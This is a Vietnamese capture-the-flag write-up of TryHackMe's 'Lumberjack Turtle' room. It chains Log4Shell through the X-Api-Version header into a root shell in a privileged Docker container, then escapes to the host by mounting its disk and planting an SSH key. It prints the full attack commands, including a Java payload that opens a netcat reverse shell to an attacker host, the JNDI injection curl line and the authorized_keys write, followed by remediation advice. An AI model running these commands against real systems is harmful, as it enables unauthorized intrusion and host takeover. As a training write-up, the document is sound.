Lumberjack Turtle
A hidden /log4j endpoint is vulnerable to Log4Shell; exploiting it for root inside a privileged Docker container, then escaping to the host by mounting its raw disk and dropping an SSH key.
TryHackMe: Lumberjack Turtle — Log4Shell Dẫn Đến Root, Rồi Escape Bằng Cách Mount Ổ Đĩa Của Một Container Có Đặc Quyền
Bài viết tường thuật lại phòng “Lumberjack Turtle” trên TryHackMe. Một endpoint /log4j bị ẩn mắc lỗi Log4Shell (CVE-2021-44228); khai thác nó để lấy shell root trong một container Docker, rồi escape khỏi container hoàn toàn bằng cách mount ổ đĩa thô của host và gài khóa SSH của riêng mình.
Flag đã được ẩn đi. Lumberjack Turtle là một phòng lab được TryHackMe cho phép khai thác hợp pháp; mọi thứ ở đây được thực hiện trên một mục tiêu luyện tập hợp pháp. Các giá trị hiển thị dưới dạng
<redacted>là giá trị thật trên máy nhưng đã bị giữ lại, không công khai.
TL;DR
TL;DR
Brute-force thư mục trên một web service có tên khá lạ phát hiện ra một endpoint ẩn /~logs/log4j, và một response header gần như nêu tên thẳng lỗi: CVE-2021-44228 (Log4Shell) qua header X-Api-Version → dựng một chuỗi exploit JNDI/LDAP bằng marshalsec lấy được shell root trong một container Docker → hóa ra container này chạy ở chế độ privileged, nên các ổ đĩa thô của host hiện ra ngay từ trong container → mount phân vùng root của host và gài public key SSH của mình vào /root/.ssh/authorized_keys cho chúng ta một shell thật trên chính host, vượt qua một root.txt cố tình làm mồi nhử.
Endpoint ẩn → Log4Shell JNDI RCE → root trong container privileged → mount ổ đĩa thô → gài khóa SSH → root thật trên host.
Mục tiêu
export IP=<target-ip>
Cổng 80 tự nhận mình là “Nagios NSCA,” nhưng hành vi phản hồi không khớp — cần brute-force thư mục để tìm ra thứ gì đó thật.
Lỗ hổng: một endpoint ẩn và một header tự nêu tên CVE của chính nó
gobuster dir -u http://$IP/ -w dirb/big.txt
# /~logs [Status: 200]
gobuster dir -u http://$IP/~logs -w dirb/big.txt
# /log4j [Status: 200]
Điểm mấu chốt
Gọi /~logs/log4j trả về một response header, X-THM-HINT: CVE-2021-44228 against X-Api-Version, cho biết chính xác header nào mang injection và chính xác CVE nào cần khai thác — Log4Shell, lỗi remote-code-execution qua JNDI lookup của Log4j2.
Bước 1 — dựng chuỗi exploit JNDI/LDAP
git clone https://github.com/mbechler/marshalsec.git && cd marshalsec
mvn clean package -DskipTests
# Exploit.java — chạy ngay khi được load, kết nối ngược về chúng ta
static {
Runtime.getRuntime().exec("nc <attacker-ip> 4444 -e /bin/bash");
}
javac Exploit.java -source 8 -target 8
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://<attacker-ip>:8080/#Exploit'
python3 -m http.server 8080 # serve Exploit.class
nc -lvnp 9999 # bắt shell
Bước 2 — kích hoạt qua header dễ bị khai thác
curl "http://$IP/~logs/log4j" -H 'X-Api-Version: ${jndi:ldap://<attacker-ip>:1389/Exploit}'
# trên listener:
id # uid=0(root) gid=0(root)
cat /opt/.flag1 # -> THM{<redacted>}
Bước 3 — một container privileged để lộ ổ đĩa thô của host
ip a
# eth0: 172.17.0.2/16 <- địa chỉ dải cầu docker0 kinh điển, chúng ta đang trong một container
Điểm mấu chốt
Một container được sandbox đúng cách phải từ chối thẳng fdisk -l — các device node của ổ đĩa vật lý host đơn giản là không nên hiện ra. Thấy nó chạy thành công là dấu hiệu container này được khởi động với --privileged (hoặc một quyền --device tương đương), cho nó quyền truy cập trực tiếp vào phần cứng host.
fdisk -l
# /dev/nvme0n1: 40 GiB <- ổ đĩa root thật của host, hiện ra từ trong container
mkdir /mnt/mount1
mount /dev/nvme0n1p1 /mnt/mount1
cat /mnt/mount1/root/root.txt
# "Pffft. Come on. Look harder." <- một mồi nhử cố ý
Bước 4 — gài khóa SSH và đăng nhập vào host thật
ssh-keygen -f ./id_rsa -N ''
echo "<our-public-key>" >> /mnt/mount1/root/.ssh/authorized_keys
ssh -i id_rsa root@$IP
# đây mới là host thật, không phải container
ls -la # một thư mục ẩn "..."
cat "/root/.../._fLaG2" # -> THM{<redacted>}
Mức độ ảnh hưởng
Nghiêm trọng
Nghiêm trọng — CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). RCE không cần xác thực dẫn tới root toàn bộ host, qua hai lỗi cấu hình nghiêm trọng độc lập với nhau:
- Log4Shell vẫn khai thác được trên một endpoint tiếp cận được từ internet, cho remote code execution không cần xác thực.
- Một container privileged không có cách ly với phần cứng host biến “root trong container” thành “root trên ổ đĩa vật lý” chỉ bằng một lệnh
mount— không cần kernel exploit, không cần CVE breakout, chỉ cần một volume mount.
Khuyến nghị khắc phục
Khắc phục
- Nâng cấp Log4j lên ≥2.17.1, hoặc tối thiểu tắt JNDI lookup (
log4j2.formatMsgNoLookups=true) như một biện pháp khẩn cấp, và lọc/kiểm tra mọi giá trị header trước khi nó chạm tới một lệnh log. - Không bao giờ chạy container ứng dụng với
--privileged**.** Chỉ cấp đúng những capability và device node mà workload thực sự cần, và chạy container rootless khi có thể. - Không bao giờ để một file
authorized_keysdùng được bị ghi bởi một process chạy root trong bất kỳ container nào chia sẻ resource với host — coi ranh giới container là đúng ranh giới tin cậy mà nó được thiết kế để là.
Những điều rút ra
- Một response header có thể chính là tài liệu hướng dẫn khai thác. Các lab dễ bị khai thác đôi khi gợi ý rất rõ, nhưng ngoài đời bài học vẫn áp dụng: kiểm tra mọi tên header được reflect lại xem có khả năng injection không.
- “Root trong container” và “root trên host” là hai thứ rất khác nhau — cho đến khi
--privilegedbiến chúng thành một. Luôn xác minh cách ly container trước khi cho rằng một lần container bị chiếm là đã được khống chế. - Một flag mồi nhử vẫn là tín hiệu hữu ích. Nếu một file “trophy” trông đáng ngờ như đang trêu đùa, rất có thể có một flag thật thứ hai ở gần đó.
Cảm ơn đã đọc. Lumberjack Turtle kết hợp một trong những CVE có ảnh hưởng lớn nhất của internet với một mẫu hình container-escape cực dễ tái hiện mỗi khi --privileged được dùng vì tiện lợi hơn là vì cần thiết.